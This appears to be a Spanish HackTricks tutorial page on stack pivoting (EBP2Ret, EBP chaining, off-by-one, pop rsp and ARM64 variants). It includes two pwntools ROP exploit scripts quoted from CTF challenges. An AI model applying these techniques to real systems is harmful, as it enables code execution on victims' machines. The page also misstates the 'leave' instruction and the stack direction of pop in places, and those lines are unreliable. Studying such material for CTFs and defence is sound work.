mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
225 lines
9.8 KiB
Markdown
225 lines
9.8 KiB
Markdown
# Stack Pivoting - EBP2Ret - EBP chaining
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Información Básica
|
|
|
|
Esta técnica explota la capacidad de manipular el **Puntero Base (EBP)** para encadenar la ejecución de múltiples funciones a través del uso cuidadoso del registro EBP y la secuencia de instrucciones **`leave; ret`**.
|
|
|
|
Como recordatorio, **`leave`** básicamente significa:
|
|
```
|
|
mov ebp, esp
|
|
pop ebp
|
|
ret
|
|
```
|
|
Y como el **EBP está en la pila** antes del EIP, es posible controlarlo controlando la pila.
|
|
|
|
### EBP2Ret
|
|
|
|
Esta técnica es particularmente útil cuando puedes **alterar el registro EBP pero no tienes una forma directa de cambiar el registro EIP**. Aprovecha el comportamiento de las funciones cuando terminan de ejecutarse.
|
|
|
|
Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. A medida que `fvuln` retorna, el ESP se establece en esta ubicación creada, y la siguiente operación `pop` disminuye el ESP en 4, **haciendo que efectivamente apunte a una dirección almacenada por el atacante allí.**\
|
|
Nota cómo **necesitas conocer 2 direcciones**: La que donde el ESP va a ir, donde necesitarás escribir la dirección a la que apunta el ESP.
|
|
|
|
#### Construcción del Exploit
|
|
|
|
Primero necesitas conocer una **dirección donde puedes escribir datos / direcciones arbitrarias**. El ESP apuntará aquí y **ejecutará el primer `ret`**.
|
|
|
|
Luego, necesitas conocer la dirección utilizada por `ret` que **ejecutará código arbitrario**. Podrías usar:
|
|
|
|
- Una dirección válida de [**ONE_GADGET**](https://github.com/david942j/one_gadget).
|
|
- La dirección de **`system()`** seguida de **4 bytes basura** y la dirección de `"/bin/sh"` (bits x86).
|
|
- La dirección de un gadget de **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguida del **shellcode** a ejecutar.
|
|
- Alguna cadena [**ROP**](../rop-return-oriented-programing/index.html).
|
|
|
|
Recuerda que antes de cualquiera de estas direcciones en la parte controlada de la memoria, debe haber **`4` bytes** debido a la parte de **`pop`** de la instrucción `leave`. Sería posible abusar de estos 4B para establecer un **segundo EBP falso** y continuar controlando la ejecución.
|
|
|
|
#### Exploit Off-By-One
|
|
|
|
Hay una variante específica de esta técnica conocida como "Off-By-One Exploit". Se utiliza cuando solo puedes **modificar el byte menos significativo del EBP**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el **`ret`** debe compartir los primeros tres bytes con el EBP, permitiendo una manipulación similar con condiciones más restringidas.\
|
|
Usualmente se modifica el byte 0x00 para saltar lo más lejos posible.
|
|
|
|
Además, es común usar un RET sled en la pila y colocar la verdadera cadena ROP al final para hacer más probable que el nuevo ESP apunte dentro del RET SLED y se ejecute la cadena ROP final.
|
|
|
|
### **Cadena EBP**
|
|
|
|
Por lo tanto, al poner una dirección controlada en la entrada `EBP` de la pila y una dirección para `leave; ret` en `EIP`, es posible **mover el `ESP` a la dirección `EBP` controlada desde la pila**.
|
|
|
|
Ahora, el **`ESP`** está controlado apuntando a una dirección deseada y la siguiente instrucción a ejecutar es un `RET`. Para abusar de esto, es posible colocar en el lugar controlado del ESP esto:
|
|
|
|
- **`&(next fake EBP)`** -> Cargar el nuevo EBP debido a `pop ebp` de la instrucción `leave`.
|
|
- **`system()`** -> Llamado por `ret`.
|
|
- **`&(leave;ret)`** -> Llamado después de que el sistema termina, moverá el ESP al EBP falso y comenzará de nuevo.
|
|
- **`&("/bin/sh")`**-> Parámetro para `system`.
|
|
|
|
Básicamente, de esta manera es posible encadenar varios EBP falsos para controlar el flujo del programa.
|
|
|
|
Esto es como un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite.
|
|
|
|
Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con una **fuga de pila** para llamar a una función ganadora. Este es el payload final de la página:
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16)
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
LEAVE_RET = 0x40117c
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229
|
|
|
|
payload = flat(
|
|
0x0, # rbp (could be the address of anoter fake RBP)
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0,
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
|
|
|
payload += flat(
|
|
buffer, # Load leak address in RBP
|
|
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
## EBP podría no ser utilizado
|
|
|
|
Como [**se explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca controla ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene un efecto real.\
|
|
Esto se debe a que los **cambios de prólogo y epílogo** si el binario está optimizado.
|
|
|
|
- **No optimizado:**
|
|
```bash
|
|
push %ebp # save ebp
|
|
mov %esp,%ebp # set new ebp
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
|
ret # return
|
|
```
|
|
- **Optimizado:**
|
|
```bash
|
|
push %ebx # save ebx
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
add $0x10c,%esp # reduce stack size
|
|
pop %ebx # restore ebx
|
|
ret # return
|
|
```
|
|
## Otras formas de controlar RSP
|
|
|
|
### **`pop rsp`** gadget
|
|
|
|
[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para este desafío era necesario llamar a una función con 2 argumentos específicos, y había un **`pop rsp` gadget** y hay una **leak de la pila**:
|
|
```python
|
|
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
|
# This version has added comments
|
|
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229 # pop RSI and R15
|
|
|
|
# The payload starts
|
|
payload = flat(
|
|
0, # r13
|
|
0, # r14
|
|
0, # r15
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0, # r15
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(104, b'A') # pad to 104
|
|
|
|
# Start popping RSP, this moves the stack to the leaked address and
|
|
# continues the ROP chain in the prepared payload
|
|
payload += flat(
|
|
POP_CHAIN,
|
|
buffer # rsp
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
### xchg \<reg>, rsp gadget
|
|
```
|
|
pop <reg> <=== return pointer
|
|
<reg value>
|
|
xchg <reg>, rsp
|
|
```
|
|
### jmp esp
|
|
|
|
Consulta la técnica ret2esp aquí:
|
|
|
|
{{#ref}}
|
|
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
|
{{#endref}}
|
|
|
|
## Referencias y Otros Ejemplos
|
|
|
|
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
|
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
|
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
|
- 64 bits, explotación off by one con una cadena rop que comienza con un ret sled
|
|
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
|
- 64 bits, sin relro, canary, nx y pie. El programa otorga un leak para stack o pie y un WWW de un qword. Primero obtén el leak de stack y usa el WWW para volver y obtener el leak de pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de `.fini_array` + llamando a `__libc_csu_fini` ([más información aquí](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando de esta escritura "eterna", se escribe una cadena ROP en la .bss y se termina llamándola pivotando con RBP.
|
|
|
|
## ARM64
|
|
|
|
En ARM64, el **prologo y epílogo** de las funciones **no almacenan ni recuperan el registro SP** en la pila. Además, la instrucción **`RET`** no regresa a la dirección apuntada por SP, sino **a la dirección dentro de `x30`**.
|
|
|
|
Por lo tanto, por defecto, solo abusando del epílogo **no podrás controlar el registro SP** sobrescribiendo algunos datos dentro de la pila. E incluso si logras controlar el SP, aún necesitarías una forma de **controlar el registro `x30`**.
|
|
|
|
- prologo
|
|
|
|
```armasm
|
|
sub sp, sp, 16
|
|
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
|
mov x29, sp // FP apunta al registro de marco
|
|
```
|
|
|
|
- epílogo
|
|
|
|
```armasm
|
|
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
|
|
add sp, sp, 16
|
|
ret
|
|
```
|
|
|
|
> [!CAUTION]
|
|
> La forma de realizar algo similar al pivoting de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección de la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP`** controlado y **`RET`** a él.
|
|
|
|
También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64**:
|
|
|
|
{{#ref}}
|
|
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
|
{{#endref}}
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|